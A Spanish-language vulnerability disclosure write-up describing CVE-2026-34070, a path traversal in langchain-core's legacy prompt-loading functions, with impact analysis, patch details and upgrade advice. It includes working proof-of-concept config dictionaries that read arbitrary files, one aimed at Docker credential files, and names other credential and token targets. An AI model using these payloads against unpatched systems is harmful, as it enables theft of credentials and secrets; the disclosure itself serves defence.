rickidevs/cve-2026-34070Encontré una vulnerabilidad de día cero en langchain: así fue como ocurrió
Cómo una API heredada olvidada en uno de los frameworks de IA más populares expuso silenciosamente millones de aplicaciones a lecturas arbitrarias de archivos.
Hay una sensación particular que sientes cuando un proof-of-concept funciona al primer intento. No es exactamente emoción — más bien una lenta e incómoda realización de que algo real acaba de suceder. Eso fue lo que sentí cuando ejecuté mi configuración de prueba contra load_prompt_from_config() y vi cómo el contenido de un archivo que no tenía derecho a leer se imprimía directamente en mi terminal.
Esta es la historia de CVE-2026-34070: una vulnerabilidad de path traversal en langchain-core, ahora parcheada en la versión 1.2.22.
Si has construido algo con IA en los últimos dos años, casi con seguridad has tocado LangChain. Es el tejido conectivo del stack moderno de IA — el framework que une modelos de lenguaje, almacenes vectoriales, herramientas y gestión de prompts en aplicaciones coherentes. Con más de 130k estrellas en GitHub y adopción en todo, desde proyectos de fin de semana improvisados hasta despliegues empresariales, una vulnerabilidad aquí no se queda contenida.
Estaba haciendo una revisión de código del subsistema de prompts cuando algo me llamó la atención: un módulo llamado langchain_core/prompts/loading.py. Estaba cargando archivos del disco basándose en valores extraídos directamente de diccionarios de configuración deserializados. Sin validación. Sin saneamiento de rutas. Solo .
open(path)Seguí leyendo.
Tres funciones internas estaban en el centro de esto:
_load_template() — lee archivos referenciados por template_path, suffix_path y prefix_path_load_examples() — lee archivos referenciados por la clave examples cuando es una cadena_load_few_shot_prompt() — lee archivos referenciados por example_prompt_pathLas comprobaciones de extensión de archivo estaban ahí. .txt para plantillas. .json, .yaml, .yml para ejemplos. Pero no había nada que impidiera que esas rutas fueran absolutas (/etc/passwd) o basadas en traversal (../../../../home/user/.ssh/). El filtro de extensión daba una falsa sensación de seguridad — solo significaba que un atacante tenía que elegir la extensión correcta, no que el ataque estuviera bloqueado.
Estas funciones son todas alcanzables a través de dos APIs públicas: load_prompt() y load_prompt_from_config().
La versión más simple se veía así:
from langchain_core.prompts.loading import load_prompt_from_config
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # contenido de /tmp/secret.txt, impreso limpiamente
Eso es todo. Pasa una ruta absoluta, obtén el contenido del archivo envuelto en un PromptTemplate. Sin autenticación. Sin privilegios especiales. Si puedes influir en el diccionario de configuración, puedes leer archivos.
El directory traversal funcionaba igual de limpio:
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
La variante JSON/YAML era posiblemente más peligrosa por los tipos de archivos a los que podía llegar:
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
.docker/config.json contiene tus credenciales de Docker Hub. ~/.azure/accessTokens.json tiene tus tokens de Azure. Manifiestos de Kubernetes, configuraciones de CI/CD, ajustes internos de aplicaciones — cualquier cosa con la extensión correcta en cualquier lugar del sistema de archivos era un objetivo válido.
La puntuación CVSS llegó a 7.5 Alta, con un vector de AV:N/AC:L/PR:N/UI:N — accesible por red, baja complejidad, sin privilegios, sin interacción del usuario necesaria.
La puntuación se mantiene por debajo de 9+ porque la comprobación de extensión de archivo sí limita qué archivos se pueden leer. Pero 7.5 aún subestima el impacto real en ciertos patrones de despliegue.
Piensa dónde aterriza esto en producción:
load_prompt_from_config(), cada usuario es un atacante potencial.En esos entornos, la limitación de "restringido por extensión de archivo" importa mucho menos. Un atacante puede simplemente apuntar a archivos que sabe que existen con la extensión correcta. En una instancia típica de nube: requirements.txt, config.yaml, .env.yaml, archivos de secretos montados con extensiones .json — la lista es larga.
Las funciones afectadas se describen en el aviso como "APIs heredadas no documentadas". Son anteriores al sistema de serialización actual de langchain_core.load (dumpd/dumps/load/loads), que usa un modelo basado en listas permitidas y no realiza lecturas del sistema de archivos.
Las nuevas APIs existen. Son mejores. Pero el código antiguo nunca se limpió — simplemente se quedó ahí, alcanzable, sin validación, esperando.
Este es un patrón que vale la pena tener en cuenta. En proyectos de código abierto de rápido movimiento, especialmente los que crecieron tan rápido como LangChain, la deuda técnica se acumula en los rincones. El código heredado que "nunca estuvo realmente destinado a usuarios" no recibe el mismo escrutinio que la superficie principal de la API. Pero sigue siendo invocable. Sigue en el paquete. Y si lee archivos del disco, es una vulnerabilidad potencial.
El parche llegó en langchain-core 1.2.22. La corrección añade validación de rutas que rechaza tanto rutas absolutas como secuencias de traversal .. antes de que se abra cualquier archivo. Una vía de escape — allow_dangerous_paths=True — está disponible para aplicaciones que realmente necesiten leer de rutas de confianza, con el reconocimiento explícito de que el llamador está optando por el riesgo.
Las APIs heredadas también han sido formalmente deprecadas con esta versión. Se eliminarán por completo en 2.0.0. Si estás usando load_prompt() o load_prompt_from_config() en cualquier lugar, migra a los equivalentes de langchain_core.load ahora en lugar de esperar al cambio disruptivo.
Actualiza inmediatamente:
pip install --upgrade langchain-core
Verifica que estás en 1.2.22 o más reciente:
python -c "import langchain_core; print(langchain_core.__version__)"
Si estás construyendo sobre LangChain, vale la pena hacer una auditoría rápida:
load_prompt y load_prompt_from_config en tu código. Si aparecen, verifica qué se les está pasando..txt, .json o .yaml existen en tus instancias y qué contienen.Los bugs de seguridad en la infraestructura de IA van a importar más, no menos, a medida que estos sistemas manejen cargas de trabajo más sensibles. El equipo de LangChain respondió bien — la corrección es limpia, el camino de deprecación es claro y la documentación del aviso es exhaustiva.
Pero es un buen recordatorio de que la superficie de ataque de una aplicación de IA no es solo el modelo. Es cada biblioteca en el stack, cada función heredada que nunca se limpió, cada lugar donde "el usuario probablemente no pasará entrada no confiable aquí" resultó ser una suposición en lugar de una garantía.
Lee el código. Especialmente las partes antiguas.
CVE-2026-34070 fue asignado a esta vulnerabilidad. El aviso completo está disponible en el Aviso de Seguridad de GitHub de LangChain.